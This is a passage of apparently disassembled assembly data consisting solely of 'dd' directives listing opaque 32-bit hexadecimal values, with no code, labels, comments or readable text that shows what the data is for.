		dd 7A746251h, 603A00FDh, 4A04206Ch, 3FA6EE00h, 0C10A35CEh
		dd 836F1616h, 2FD18FC1h, 0CB58048h, 244482FBh, 2B1D53C7h
		dd 5E274D5Fh, 2E3B1159h, 0E3B276F8h, 8D1B4560h,	0C8941A35h
		dd 0BD2976FEh, 0C595AAD0h, 1792E06Ah, 30E7A230h, 1261E086h
		dd 6B0D64FDh, 7B095489h, 0A3317597h, 0CD5186CCh, 0D1920ADBh
		dd 44B226E4h, 0D60F3B78h, 7B2CBB5Bh, 0FF670B61h, 6AEDF773h
		dd 94FCB27Ah, 73CEF34h,	0AC611D51h, 0D7B60765h,	0ED14C26Ch
		dd 853A51h, 0F063F202h,	0C232A36Fh, 0DACDEAh, 0A449BE0Bh
		dd 0E7D68959h, 4D7A6E7Eh, 266E8CEAh, 538BBF15h,	0B0950927h
		dd 109C4556h, 317B0C7Eh, 0AA760AA5h, 9374C63Bh,	872CE2E0h
		dd 98B1B273h, 0E7629333h, 4B788F27h, 779174BEh,	0FD99C40Ch
		dd 21591BB3h, 333341D7h, 3621C4B2h, 73FEF35Dh, 0EA83431Ch
		dd 839E1F5Ch, 43ED50BEh, 4D429E5Bh, 0DC5C3F3Ch,	65D45E48h
		dd 6E311CE2h, 89A04037h, 63F9610Dh, 5BFB6AFEh, 675D8778h
		dd 0E81EC794h, 0DC3A28D7h, 90C15DB9h, 32D14326h, 0FCB4C58Bh
		dd 8F39DFBCh, 0FBC5D660h, 0CF1FF46Dh, 857B18EEh, 0A1763A68h
		dd 13000A6Fh, 238FD962h, 0BE71B21Bh, 0B2C37818h, 0AEB430E0h
		dd 47C541B2h, 0B933FA48h, 80134344h, 42214A37h,	6004A325h
		dd 29B7364Ah, 0D124BFFBh, 7369A18Dh, 5EC46B48h,	9077E7C7h
		dd 5285985Fh, 0DB1135DBh, 0C122BB5Ah, 0F2671905h, 0A3850641h
		dd 0BDB6345h, 290CC837h, 0B15217C3h, 0AA519E25h, 54211469h
		dd 7953013Eh, 3DF7A0F1h, 7F2C5D9h, 858DD48Ch, 8CBF313Bh
		dd 0D834EB46h, 8FD5450Fh, 715EECABh, 6BACFF30h,	3ED5C9B5h
		dd 165349C2h, 244F055Fh, 0CB67F74h, 967FC397h, 37867A4h
		dd 56A6B8D1h, 0AC024F82h, 0A59720FAh, 5087A96Ch, 0E9DF91C1h
		dd 0B8A5502Fh, 0A7C350BAh, 0E00C5FEBh, 5D72CE21h, 5F702558h
		dd 0BAF94ACh, 13B7B6E9h, 0D3D90D23h, 4F876604h,	9A0F8E7Bh
		dd 57058A26h, 96A2DB86h, 359FC305h, 5B3CB3A9h, 6B80FBE1h
		dd 1A826E0Eh, 0D55B2F31h, 57B6A5E5h, 3B2E0ECAh,	0D9BAFAE3h
		dd 49292778h, 70E579D5h, 7D97B2CCh, 0F5CAFA10h,	3F33B4DEh
		dd 0BBA7E4Ch, 72CBBFA8h, 0A6ACD154h, 0CB94146Dh, 567E3954h
		dd 8AD5B035h, 512D7361h, 78A90524h, 17209400h, 7051BC3Ah
		dd 0EF6AAE4Fh, 0EFA60BE4h, 467CBE85h, 0C1850F91h, 417E924Fh
		dd 0DB9BA997h, 8D8D55E3h, 71AE1EDDh, 0B07082E2h, 0B8351CA0h
		dd 0C996A716h, 185BC1AFh, 0B39C68C2h, 4E0E809Ah, 283DAF29h
		dd 5433BAEFh, 0C5D8E4DAh
		dd 0EA9BD17Dh, 0C7FB0133h, 4953BD16h, 0D08A919Dh, 0BDDDB5B0h
		dd 10F46993h, 94674DEAh, 73EEDB4Dh, 9B41529Eh, 0BCE44606h
		dd 70F19135h, 0D04A61DEh, 0DC0EC17Eh, 128EDFE9h, 2096F61Eh
		dd 92E52F8Ch, 4322B596h, 7A52CE3Ch, 896FDE05h, 9CA5CD3Ah
		dd 0FE56E3Bh, 44C0F85Bh, 34A16DBCh, 6A299D49h, 9FCA4BF1h
		dd 651DCA55h, 56C5848Ah, 0E4B0EB78h, 34510310h,	0B0928256h
		dd 0CBF82A0h, 2F78B877h, 0CE03A477h, 0BDB51496h, 4F3C172Dh
		dd 0E9947A75h, 93F33DF6h, 6A790436h, 0AE5BD18Ch, 0CC3E9D90h
		dd 0F11B31ADh, 1FE619h,	4121A86Ch, 70513DE7h, 0FF928A8h
		dd 706133A5h, 53C2DADCh, 0ACDDA685h, 2AF0CC6Fh,	110C17A9h
		dd 0B87361B8h, 66A4A8F0h, 0ABD3A384h, 0EA89709Bh, 0F8BA7515h
		dd 6F379C4Dh, 2B5965FFh, 0F9A7AA8Bh, 9BBBC4EFh,	0DD9F2AF6h
		dd 4328C1C4h, 0B9800110h, 93A0FF99h, 8E8E4C87h,	129FBE85h
		dd 5029DB1h, 0CEFE654Ch, 8D2B3C35h, 0F0C5CDB7h,	2582DD1h
		dd 89175320h, 4267A97Fh, 8B7CF905h, 5CF03E8Eh, 0F8D5CDAEh
		dd 0AF865586h, 0DF6871F2h, 0E6A799DFh, 60E6F275h, 69EAE118h
		dd 22E9D47h, 40745EC8h,	0D9CC81AAh, 244AE3CFh, 0FF4220B5h
		dd 0F4087FD1h, 327DEB44h, 7DC595CBh, 3C8C6C0Ch,	75D4B79Dh
		dd 1376242Bh, 5C8E9943h, 17873D3Ah, 0B713C163h,	8DA0AC7Dh
		dd 92A61CA1h, 9F4B373h,	57DF7A06h, 0C009D84Fh, 0A9C44358h
		dd 0E81A8AAEh, 6EE015DEh, 0B84D0D04h, 7CF7D253h, 0F3C18BB0h
		dd 0FC17813Eh, 2AABD535h, 8BB58601h, 787C1833h,	0CBAEEF06h
		dd 152012EBh, 0A1F353EBh, 6BE349EBh, 515D2928h,	290CA926h
		dd 74E14FF5h, 1C18EE1Ch, 65BFA43Ch, 7A9E1E00h, 5A35C594h
		dd 28982CEAh, 23F6886Eh, 0C3AD86B4h, 3CF2D33Ah,	34C525AAh
		dd 2E935BFBh, 44ABB5D9h, 10432C37h, 16E10CD9h, 8A34224Ah
		dd 19BA186Fh, 1498DF28h, 79D265EBh, 0AE7B1919h,	90804D45h
		dd 0D8CB4786h, 0F487EA8Dh, 0B82ACC5Bh, 0BB12C9C5h, 0CCEFB92Fh
		dd 0B0441E48h, 3783F8FAh, 0BDB6E57Dh, 40DB1A10h, 496F070Bh
		dd 2BFAA226h, 69E79EF6h, 16260855h, 5EF90FEBh, 0CB04997Dh
		dd 0A7BDD50Fh, 0D941053Bh, 5FEE8616h, 3BB7139Dh, 54AB5C5Fh
		dd 5FEA3B68h, 2C2D20AFh, 22D1DD81h, 0A6185045h,	0E4265DD9h
		dd 44F94030h, 6C082EFh,	0B3BCA586h, 0F12CD3EBh,	1C3AEBAh
		dd 8C11CB87h, 6589C5D0h, 7DBA61B1h, 8D3823A5h, 0FE0A41D6h
		dd 0EAB084B6h, 3EA9DAF3h, 0B153BC33h, 0EDEFB499h, 1A15D7C2h
		dd 8831D10Eh, 37E9114Ah, 24202F8Fh, 76C139FFh, 0CCF46415h
		dd 0C420534Ch, 3F18518Eh, 0D2E4F8ACh, 0AA7ECEF9h, 435C315Eh
		dd 0F87C6524h, 0A6CA3AF7h, 78233FC1h, 7862A1C8h, 6810795Ah
		dd 0E88CCCFBh, 0AEC1BCD8h, 2176E75Ch, 4B5E8E2Eh, 5F888CA8h
		dd 8C7A05C5h, 0FBBC5817h, 32EF952Bh, 276C8DAAh,	2AD70309h
		dd 0DA81A655h, 0B41E94FEh, 0BD6DE815h, 9B82867Dh, 87BA82F5h
		dd 0E0E3A5E8h, 576DCD8Eh, 678E876Eh, 74659BE0h,	7A663C64h
		dd 0DBA4E5CFh, 22C91CE3h, 0E8475F7Bh, 0AE3BEE9Dh, 1DE0657Ch
		dd 0DAF7D30Dh, 0A89F9C4Ch, 0BFCE567h, 0A79C9C6Bh, 0CE9E5E96h
		dd 6156AAB7h, 4B97C5A9h, 0D1206D49h, 80778D2Eh,	0BC0FA529h
		dd 0B09A2DD2h, 6E80ADBBh, 4313DA13h, 0E0424C7Ch, 93915CA5h
		dd 83F42E25h, 9AEA2B84h, 0F165394Dh, 0A3833CACh, 387B2709h
		dd 0AA24738Fh, 7028271Eh, 73BEEF46h, 320263D8h,	3BA59071h
		dd 70BC032h, 2EFCA67Fh,	8AE3BA88h, 0C3C32405h, 13DB548Fh
		dd 0F44FC027h, 0DDE60FDEh, 30AD65F4h, 0AED46B5Eh, 9F54A3CFh
		dd 0C993C013h, 65782F54h, 59F6521Dh, 2AA00FEh, 5F2D9327h
		dd 0D51EC481h, 0D199DADDh, 0D294BF48h, 4A075770h, 408C2216h
		dd 0F199CF22h, 0C986A302h, 2F0CD65Fh, 527057E8h, 5D1DC88Dh
		dd 0D634DEF6h, 0B7F94767h, 70557905h, 52024503h, 0AD344309h
		dd 0B6AC4039h, 0AF332305h, 10BCAE0Dh, 1AAB0502h, 0ED1129BEh
		dd 0A15EFA14h, 0B285D9D5h, 9DB9D0F9h, 57C3D830h, 0F9B58F89h
		dd 99FB6ED8h, 623E77Bh,	2C6F88D1h, 8295A4B1h, 0C483EFBDh
		dd 0AC521047h, 0CEA113B3h, 4159AF8h, 22A75BFh, 3F8C12Ch
		dd 64B3CA37h, 56572A04h, 9B4CB185h, 193F7AA1h, 57D54833h
		dd 0A0C09A84h, 0A74E8417h, 38770039h, 7DC10DB3h, 0BBD1D330h
		dd 0A6D5DBFBh, 0EDFA694Eh, 0F6AF957Ch, 20E4BFDEh, 88562A20h
		dd 0B8EF35C9h, 7573300Bh, 4E2F892Ah, 0CC5823A1h, 0E2D60D88h
		dd 0DF96EEA4h, 1740DAA9h, 0C10878FFh, 4E4888D4h, 1D8FE1DBh
		dd 51BAD32h, 0C29E6D1Bh, 29F1D911h, 0CF98FB71h,	0B42F4003h
		dd 0B06E77AAh, 60BF3EF1h, 203181BDh, 1C2653D7h,	0B301630Eh
		dd 6A0F2B4Ah, 75DAC750h, 0F7ECDF8Ch, 5A9908C5h,	1E61E169h
		dd 0AFCEC517h, 24AFDD72h, 3F2F79B2h, 0C8EC16F6h, 7AA2796Fh
		dd 0C86A9670h, 65F3425Fh, 0CDE418E5h, 0F21039E9h, 88BB5B49h
		dd 504BA773h, 0E7D508C2h, 627C149Dh, 0DED904F9h, 7879B63Bh
		dd 0F8CC13B6h, 0B6B2F40Eh, 0F5723CEh, 0A998EDBBh, 4EED403Dh
		dd 45C92B7Ch, 0C00B9AA0h, 51B628A4h, 0AF89ADC0h, 169DD648h
		dd 0CEB51EB3h, 0D5DE3D2Ch, 357178CFh, 0FAA7A411h, 6F8F745h
		dd 6FC35326h, 0E02C5E23h, 4C04B909h, 0DBA2932Dh, 61FEB137h
		dd 957B9D2Ch, 3E0648ABh, 818DA7B6h, 0B1563476h,	222AFFAFh
		dd 29871A93h, 0CE95B0ABh, 97234F21h, 0B2944527h, 0FCAFC50Eh
		dd 0F8ADE3B7h, 0BA362272h, 35AF29DBh, 79F268F0h, 2DA7C4F3h
		dd 476F1177h, 0EE3ED0C4h, 24334A96h, 0F087C1DFh, 85CC5DFBh
		dd 0A74B654Bh, 0CF3468E5h, 52996E15h, 67F7AF07h, 84FCE69Fh
		dd 9A23DA6h, 172897CFh,	0D5EE81Ah, 0C0220D31h, 8AD3CFC6h
		dd 0C7345F2h, 7562F165h, 0FE271AAEh, 0A6A3EB7Dh, 48D2821Dh
		dd 0D1C2C4A6h, 236D4A03h, 1F14C4D0h, 524D8351h,	0BAA911D3h
		dd 48F04BDh, 1462D319h,	0C7CFB414h, 0A60F4FBAh,	55274BEAh
		dd 5DD2D16Fh, 0EE5284ACh, 4DE39B3Dh, 0ED362AEBh, 367EDA24h
		dd 21F830A6h, 0A7896E61h, 0CAF7240Eh, 0C9EEB1Eh, 0F66A184Dh
		dd 0B8776D39h, 45CD7FF8h, 856AA486h, 95FFBCD6h,	93CAB11Eh
		dd 4174F423h, 0F8C9CFFFh, 0B9250B6Eh, 0A47CF314h, 3A2FFEAFh
		dd 172710B5h, 927C7EE5h, 737EEF07h, 7BBC8C19h, 33F38D8Ah
		dd 0D42941C2h, 0D5A3E64h, 72068F0Bh, 0EB0B44Dh,	912BB060h
		dd 244E9DC7h, 0CBB60BF3h, 6CA78010h, 4CEFA470h,	0AE4367Eh
		dd 257974BDh, 91FE5521h, 188CFDDEh, 96ED0726h, 0D74659Fh
		dd 0B4A1B69Ah, 0A82F5F01h, 1A9D4E4Ah, 7C79236Ch, 27E4C392h
		dd 0A9CA109Ah, 119FFBB0h, 0A0FA74DAh, 0D420B9B4h, 0F59BA9BCh
		dd 46565612h, 7D59CA43h, 1EE9BD4Ch, 0DE1785B8h,	0C90A483h
		dd 0BCDA29Bh, 0A6F3449Dh, 0BE506D8Ch, 0C6612007h, 0B14B0530h
		dd 9F347C65h, 0A36396F9h, 0B14ED13h, 3ECD3488h,	0A6E5385Bh
		dd 0FA291F3Dh, 0AD5D5A5h, 9CD7A3A7h, 4C8ED1B4h,	168ACBF5h
		dd 2ED59F2Ah, 0F5CFA0ABh, 427C7F1Eh, 74E7A4E6h,	7BC31F59h
		dd 0D99327E6h, 477A9D0Ch, 0EC257C26h, 0AEAFF0F5h, 0F320F4A6h
		dd 80E72781h, 0A43776C8h, 80673F07h, 0A67540E3h, 15FB6C04h
		dd 3379F20Bh, 0C146C0BDh, 0E4765840h, 0C3EFA4A0h, 195B1D4Ch
		dd 32525C3Ah, 6CF60D2Dh, 0A3D366A1h, 26A76449h,	0D84C9E1h
		dd 486E1524h, 0CE82F1C0h, 0D4878317h, 0DF145476h, 521EF4EBh
		dd 0EE697D61h, 0D6BF2512h
		dd 0D468176Bh, 28C07B78h, 8074F704h, 8A74635Eh,	5945CDDBh
		dd 358E40EAh, 480614B4h, 0AC372339h, 47A09A57h,	0B02D4B59h
		dd 0DA499BF5h, 0FA886647h, 741F69D8h, 4F6F81F7h, 90BB2CE7h
		dd 0E46CC07h, 3B28ADDCh, 0CD1A93C3h, 0FE5D6C4Ch, 9DA0485h
		dd 471760A8h, 3C513853h, 182D814Ah, 99AF06A6h, 744EB806h
		dd 0A2F42278h, 568E708Ch, 0CCDFB349h, 6A50E95Eh, 0A4101646h
		dd 0D036EDBDh, 5ECB22EDh, 985B30B2h, 0A9CF1AEFh, 0ACA138B4h
		dd 53ACAFFCh, 6CB80A35h, 119D6A04h, 0D44C50ACh,	0DC05871h
		dd 57FCCA5h, 7BA7E77Ah,	413A99Bh, 0B15081D8h, 394E50BBh
		dd 4D0D8039h, 24B83506h, 676DD4F6h, 5056E894h, 79797B04h
		dd 5223A9BBh, 0B247AFD1h, 1852C998h, 1F36C024h,	4F5F3F87h
		dd 20534796h, 65FDD082h, 0A5701FA9h, 0BA4E5041h, 44172BCDh
		dd 2CA6EE21h, 5D2E13DAh, 6CE67336h, 0EFEDC9AFh,	0F979920Fh
		dd 97613813h, 0ABBC2A4Eh, 0E0DB005Dh, 0FB7D19B2h, 0E3613B46h
		dd 674CE2DEh, 23AE6393h, 0DFDD7BD4h, 0E5D07FDh,	0DD7C9D99h
		dd 0A443AA6Fh, 59ED1C85h, 4E0C517Eh, 0FDAAB8A1h, 0CAE1A66h
		dd 2B154BFh, 6582EEF1h,	0E08D6B9h, 24BE69F9h, 88CB8E51h
		dd 0C8492F98h, 1986EB4Ch, 778F99CCh, 90E29EBDh,	53A593ACh
		dd 0F470A55Dh, 5A44FC58h, 9DEE2316h, 0B8316D6Bh, 935FA258h
		dd 3AB71FA8h, 0FDCED5F6h, 38C833CCh, 1348D5DFh,	671FFB12h
		dd 0BC526DCAh, 0A3EDD40Fh, 126B6DBEh, 68616E2Dh, 0C24EBC07h
		dd 79F51A5Ah, 137CC9F7h, 51E0E208h, 0F5E7C97Dh,	0AA4F72B1h
		dd 0BB20D378h, 4775AF9h, 0E3D2BB69h, 1E27D56Ch,	900A78DFh
		dd 0E58B8C8Bh, 132331FDh, 65FAEF58h, 0E382656Fh, 47452AE5h
		dd 309CA14Ah, 0CF0466B7h, 0EB4CE3B7h, 47F3A178h, 0EB1FBE53h
		dd 5D4EC8C7h, 1AE2088h,	0A04D2686h, 0BC1E929Ch,	0DEC9A6C8h
		dd 0B78B832Ch, 18B34AD3h, 57F561FCh, 0D0BEE435h, 0A9ACC7ECh
		dd 0CBF4E262h, 0A5A6AB83h, 0B1B0AC74h, 0AC519E4Fh, 221B7820h
		dd 17111EB1h, 0FE3BD63Dh, 7E4E069Bh, 81760E73h,	0F996C17h
		dd 8275832Ch, 0A760A5F3h, 5AD3E67Fh, 0B977B012h, 5E2B5C65h
		dd 0C94D1231h, 0CA297FABh, 0C994F95Dh, 7BA923B1h, 0F4696682h
		dd 1BA39092h, 0B94F0600h, 0B087A242h, 0E06C5FD0h, 75EB9180h
		dd 10E29E81h, 977D54CDh, 79EA0DBCh, 19527DE0h, 6FB1F17Bh
		dd 792CB0E3h, 0CA22D4DCh, 0E4ED92FEh, 2F92D28Fh, 0B00FBCEBh
		dd 0D622CC47h, 53FF4600h, 0C514B73Dh, 0F91A7058h, 226B4210h
		dd 1C6F1E6Eh, 6B669F9Fh, 0C6B6D360h, 0BBF30EC0h, 2DEC8266h
		dd 1E2EB72Ah, 4794130Eh, 4E4E72Ch, 0E167E801h, 836B9370h
		dd 77E27C86h, 7D5402Ch,	75303B53h, 585B1371h, 0C98B1838h
		dd 3DF881F0h, 0FA26E992h, 64A51842h, 7BA731C0h,	0C3DFDA0h
		dd 49D37DB1h, 0AC210CE2h, 0C251E327h, 0A4DC8D39h, 268725E9h
		dd 63A33855h, 0B59488BDh, 0B6DF2F37h, 0F4C5278Ah, 0DB87D330h
		dd 3EEDD03Dh, 0F7A3CA1Bh, 8885823Ah, 7357CEC2h,	0F8ADBDCBh
		dd 0AC516565h, 477651ACh, 5D89A3AAh, 774FF74Eh,	8AFDA0C9h
		dd 92094BA9h, 0C06A7226h, 890A4812h, 0F955D213h, 22010593h
		dd 0C8FD2E6h, 0EF67EA53h, 248A84Ch, 12326F87h, 0B2459DFCh
		dd 2FC130BCh, 6FAD134Eh, 4CF636DDh, 0DC2B4C22h,	5E237E67h
		dd 1D307D11h, 67B88CE9h, 0DC0E8FB6h, 8958525Dh,	0DEE2250h
		dd 0FA983623h, 0AA5FC65Bh, 3031F7F8h, 0E279F456h, 400FBC74h
		dd 62CA57D7h, 33B44A62h, 0B29B5F62h, 0D05FF25h,	6357BAE4h
		dd 61E78544h, 0C6CC0EF9h, 96299E29h, 2D4146F6h,	7A7C075h
		dd 7BFCF3EEh, 0AD3FB492h, 6B3B0F6Ah, 0D02ABAC8h, 5751F6Bh
		dd 0FD3B36A2h, 8AB06CEh, 2632467Eh, 63C2C241h, 3B2BBDC9h
		dd 8B29D846h, 48D3AE60h, 67C9E257h, 0A48DF078h,	3FF47952h
		dd 5F2A1EE1h, 0A5334D0Dh, 27BA49A1h, 0B8F222FAh, 0F8F354E3h
		dd 7E4CFF9Eh, 5C2A05BFh, 0DA361F4Ah, 0D9A9B89h,	34712D75h
		dd 0C535CF1Bh, 6BCA64F0h, 8E2D3E07h, 0CB4170C5h, 99EDD54Fh
		dd 202E833Ch, 0C75AE6BBh, 0F69548CCh, 0AE1E65BBh, 49E7342Ch
		dd 7B52780Ch, 15B61224h, 69430F97h, 0A8D404B2h,	0CE45E6B7h
		dd 0EAA63B58h, 5FE2A614h, 0FA0FA773h, 0CE1AE841h, 6B9445C4h
		dd 4BF416DBh, 0B1D292E2h, 4AE38728h, 0A0DC9C0Fh, 1E874817h
		dd 0A6670719h, 17DE5243h, 4FCB9668h, 0DB9DFE9Ch, 2A701A4Eh
		dd 0BAFB48BDh, 113E0D1Ah, 0D805BCAAh, 0BA1AFBCBh, 40764FE5h
		dd 0C92764D1h, 5C76CBD1h, 1A1D0638h, 5D8ACB62h,	0CC4208F5h
		dd 8A270F3Ch, 9C143CB9h, 42DE99FDh, 9FA8FD8Ch, 0E042B56h
		dd 83615A23h, 4CDAEEB6h, 0E89EAAA9h, 0A4A6EEFEh, 6B5EC7D5h
		dd 1EBB9557h, 7FD6057Ah, 15DE3AFFh, 0D31C44F3h,	6937710Ch
		dd 12E9339Eh, 54C70327h, 4EA93095h, 0FF031147h,	0AEDCD3A1h
		dd 4DFA09B3h, 0A59FB3Fh, 5833EAAh, 55D8B3A9h, 27E4CF5Dh
		dd 0D9B372BFh, 0E169926Ch, 0EF987D71h, 0C2BE6E0Dh, 588B98BDh
		dd 940AB3F3h, 0ED9FFA34h, 71D6CFAFh, 0E5C7333Fh, 73B026F0h
		dd 0B0E39BC1h, 8626CA03h, 0C559610h, 93911F88h,	221AF7EEh
		dd 34DB4092h, 0E8B05F0Bh, 0F0FD99F2h, 0BAA58D1Ch, 6C78C10Dh
		dd 8DEFB0E9h, 108DC5h, 75D1C151h, 0D969F999h, 62067402h
		dd 6E624263h, 51641901h, 197FCDCDh, 0D07C4A54h,	4F0B817Ah
		dd 964E2CF9h, 0FB9FB8B6h, 0B3253F50h, 0D1609906h, 30183F49h
		dd 0E1CB335Dh, 54AFEBBFh, 0FA386086h, 4C915FA0h, 79723023h
		dd 7478EFD8h, 0B92BB03Dh, 0EF3BE29Eh, 0E6FD80E7h, 0EF55DB6Ch
		dd 0E5367011h, 0D1EB2B8Bh, 4A114650h, 3A96DBF5h, 65B04904h
		dd 797DCEE5h, 0A8090E55h, 71778DB2h, 0E1331571h, 0B129C0B2h
		dd 0EDB32C19h, 4FF55755h, 27A5770Ch, 0CCF9C240h, 67EE4EA9h
		dd 0C41D31EBh, 0FC3279DAh, 0EADAE5DCh, 32FED23Ah, 0E13838E3h
		dd 9CC05069h, 84FD83E1h, 15FC618Bh, 0D20F5852h,	6247B9FFh
		dd 0D5CE3560h, 77691452h, 0CC87324Fh, 0D78E977Ah, 0FB2AD6B7h
		dd 0BA68052Ch, 0EF2A8F3Ah, 0B37EE04Ch, 7709B00Ah, 0C619201h
		dd 55D1DDF3h, 8FC0771Ch, 0EC8F590h, 5417C6FAh, 0F898BF3Fh
		dd 610D5227h, 6E4FEF3h,	2A5136FEh, 772B2EBh, 3B71D639h
		dd 0CA8E86C1h, 0D66CAA25h, 42DB1A7Ah, 0EB78602h, 3A1EB90Ch
		dd 9213DCC6h, 5DB7C2CBh, 6276CD09h, 854C479h, 4D7D2C65h
		dd 96A29F89h, 3060DA15h, 6D8103BDh, 0C45E2FEDh,	0B4A63502h
		dd 2163A86Fh, 33C1EBCAh, 0DAA90CBh, 3AA6B1DCh, 92E7E159h
		dd 5BD75CB2h, 0CE4DA93h, 0F7B04DD0h, 0AAEC955Eh, 5CBB8FD4h
		dd 882505DEh, 0E35B32DBh, 0E113C8DEh, 0E39AC5E6h, 816B0C04h
		dd 2D242AB6h, 0E9913810h, 0D9E4B529h, 8AD73DE0h, 64E29189h
		dd 37CB414Bh, 0A7E402A1h, 13B4314Fh, 0D8DDFEFFh, 2FFB16FEh
		dd 0E6318DBFh, 0BB6A32D5h, 1D9B3609h, 0F69A031Eh, 0FAF2A329h
		dd 62471BFEh, 47B9E86Fh, 0B5E519BFh, 0EBE6F12Fh, 7DEC35E6h
		dd 97FEDA78h, 0BED6A3A5h, 17CFFE5Ch, 8F9D1AFCh,	93B84225h
		dd 8CC1B8F1h, 1053187Bh, 6AAC62CEh, 5D95B6Ch, 1394FB14h
		dd 0FA7055CFh, 0AF1D2B8Fh, 0F1D2F966h, 202B3E86h, 4B105283h
		dd 8B146359h, 0A272C207h, 0BE28D3D0h, 0A6B682ABh, 0C09AEFD5h
		dd 0BF06BA88h, 3806BF2Ah, 3E59B089h, 0EC5485F6h, 58CAA3C6h
		dd 21E83909h, 0F6BF7D95h, 951AFFBh, 0F6AE8227h,	9945FA4Eh
		dd 0F5F8187Dh, 0BBC6B8ADh
		dd 0B2312CF5h, 48F4726Ch, 6BFBC516h, 4F6FF440h,	0E372537h
		dd 5CE3291Bh, 1DCFE44Fh, 7234D67h, 3A6AD42h, 0C3B937CFh
		dd 85C2FE0Ch, 2FA68E72h, 0ED7A7A68h, 37A162E2h,	7FD5C0CFh
		dd 0CC4649D4h, 0A09171E5h, 3CFE88E6h, 25DBACC5h, 7A9AFAA1h
		dd 0CD974971h, 5D866BEFh, 0FDA7DCE5h, 3EBD13BEh, 953E3FF1h
		dd 73F3104Eh, 648ADDA7h, 684D44CEh, 9A7D8D5Bh, 41D82614h
		dd 0C4ED4670h, 4C64A02Eh, 6C070180h, 93E8E827h,	7759CED6h
		dd 711577D0h, 0E5551498h, 1383C366h, 7C0A4D91h,	40AEA76h
		dd 60A33C47h, 0AAC56D8Ah, 0A31F91BBh, 1CF3C34Bh, 423D7F36h
		dd 0D89DC759h, 0E37D1AF0h, 0D43EE40Eh, 6F988D56h, 666A4F10h
		dd 0AC5857E1h, 0AD3727E1h, 31D2CDE7h, 0DFA9A60Dh, 10BC90CAh
		dd 75914A7Ah, 0B30A7FC4h, 9687CD56h, 0EC0C6A32h, 3BA3A4D3h
		dd 9A952C9Fh, 88E9891Ah, 5098250h, 24638036h, 80BDB706h
		dd 0C6297B03h, 0E03345F9h, 35881092h, 2E52BB3Fh, 0B5FDB14Ch
		dd 0DDDEAF2Eh, 0E303202Ch, 9B7384D1h, 135562F1h, 54673D22h
		dd 821CC623h, 0E74536B7h, 52F037C8h, 24813360h,	0EDCE3596h
		dd 2F15A3B4h, 0A855CA3Dh, 491FE4E0h, 0CB33733Bh, 0E06FD97Eh
		dd 0C718536h, 3AD59C6Ch, 0DC7418A1h, 8AB46A79h,	0B3E8C7B8h
		dd 3457D411h, 6B2ADA36h, 33A0ECAh, 31B8E979h, 8C7EE17Ah
		dd 0A6627552h, 0B0118569h, 5158C028h, 0A0379D4h, 0E7862AC3h
		dd 0DBFD1C55h, 527EEF4h, 96B4F66Eh, 77F7B489h, 0CDC526DCh
		dd 9F3A9A09h, 7A7B0AD2h, 9B8BB3E3h, 90C7F798h, 0E9D7A419h
		dd 785D3D61h, 0F7D8C5A9h, 0C8044109h, 97E837D3h, 0AC10E4E6h
		dd 0DDC9F122h, 59A84ADAh, 62C68D71h, 0C2F71182h, 0BD1FC419h
		dd 2AA39F6Bh, 4373617Ah, 7FFED7ACh, 5EF718EFh, 0DDA26FEh
		dd 5ADD7953h, 1E50DCAEh, 13ED9AC6h, 47E4163Fh, 3F743657h
		dd 0FDEC4E8Dh, 66C8A34Dh, 0B396787Eh, 0A580DBBCh, 0EE4CA224h
		dd 557C912Fh, 8B1833FDh, 405E0B3Dh, 1FF8A6F9h, 0EA0CA646h
		dd 0CE891C10h, 57F742D1h, 0C92EDDA6h, 0DACF7DE6h, 4E6F5DA3h
		dd 0C09E5353h, 13473D9Eh, 0A77FB97Dh, 64E5F1F6h, 5B301F1h
		dd 0C7C22FC0h, 56155678h, 354828B9h, 6E8D5180h,	0B0B3110Ch
		dd 6A811525h, 73C22D52h, 76C8D6AFh, 301250DEh, 0A4E2F232h
		dd 9F887AD3h, 464DA989h, 0CB230CC4h, 0CEA8BE80h, 0A90022E1h
		dd 723A1A2Dh, 294A548Dh, 0FED0D8F1h, 0B589465Ch, 10A03133h
		dd 0DC5237EAh, 8F12665Fh, 2CE479C9h, 6827BE36h,	7CD89481h
		dd 5CC5A1E4h, 0AC57B98Ch, 1352F160h, 469B4EFAh,	8E911BF5h
		dd 408552A0h, 28DE6EC3h, 1FFF52FBh, 0A6478C5Bh,	3FF612E8h
		dd 143A868h, 1957AFD3h,	6FDF5DBFh, 0FFA3FCDDh, 0FDB21D9Ah
		dd 9352EF5Ch, 96083E50h, 0F1F15746h, 81F8C2Ah, 0D522D9B4h
		dd 8A05B03Ch, 68D1E227h, 14023141h, 5387DFF0h, 11122635h
		dd 9A3730CCh, 0B663808Eh, 7D4E5A86h, 52A55036h,	7F2E373Bh
		dd 0C4417544h, 0A34D561Eh, 276B5401h, 5031CB31h, 41F579EFh
		dd 0E4CF3A4Eh, 0E1EC8648h, 4394DA4Ah, 8F8231BAh, 4EE2040Dh
		dd 41BBE064h, 4D8E8006h, 21355363h, 8FFDC56Ch, 0FED332AAh
		dd 1EA47752h, 69B0B1B7h, 3D0711E2h, 42B19BDh, 540D358Fh
		dd 0F3351FDEh, 0EC81C2C7h, 2B37EF12h, 0D4A84CE5h, 246B9D14h
		dd 0F365D766h, 11327E22h, 0A6DABBE7h, 3F0580EBh, 77D42067h
		dd 0EF3BDEFCh, 54182C4h, 0D23E46Dh, 82DF66F1h, 0DB7324A5h
		dd 4184180Fh, 0FF57259Eh, 226A86EFh, 5831BED5h,	67DC0BCFh
		dd 8D87B77Dh, 2E93DE8Ch, 28369190h, 0C51A6ED1h,	82A18560h
		dd 69EC38FBh, 8B4A5FFCh, 7C1858A3h, 878FCABEh, 7B299EF6h
		dd 0F938CAD6h, 0A7700AE6h, 0B78A271Ch, 6482B109h, 2C7F84D7h
		dd 16FFE1E2h, 0EB20069Dh, 0E4342ADCh, 6A9180BAh, 1A0ED915h
		dd 5E4BD5CAh, 0EBB5FB29h, 7360BE68h, 70D9D504h,	0F4BCEE1Eh
		dd 2D2539DBh, 7484813Bh, 0E0FD31D7h, 0F0130707h, 0B94AA0F6h
		dd 0B2F9012Ch, 389263E7h, 0A898859Fh, 0FFA8B958h, 0A05D5A35h
		dd 3E0B7BF7h, 0F661AAE3h, 0DAE597C4h, 47CDF0C5h, 612BF155h
		dd 0B5DC69D5h, 0B82BE642h, 31EA467Ah, 0A6CB6248h, 612AB579h
		dd 0C36FF1F2h, 1F2740EFh, 18D5B36Fh, 60D8D49Ah,	0F54A202Ah
		dd 6FE037A6h, 72FD3FFAh, 5BEA7CAAh, 0E3695377h,	760BB406h
		dd 0CFF97295h, 1F9B644h, 5A902B08h, 52BBFEE9h, 78CEF0D5h
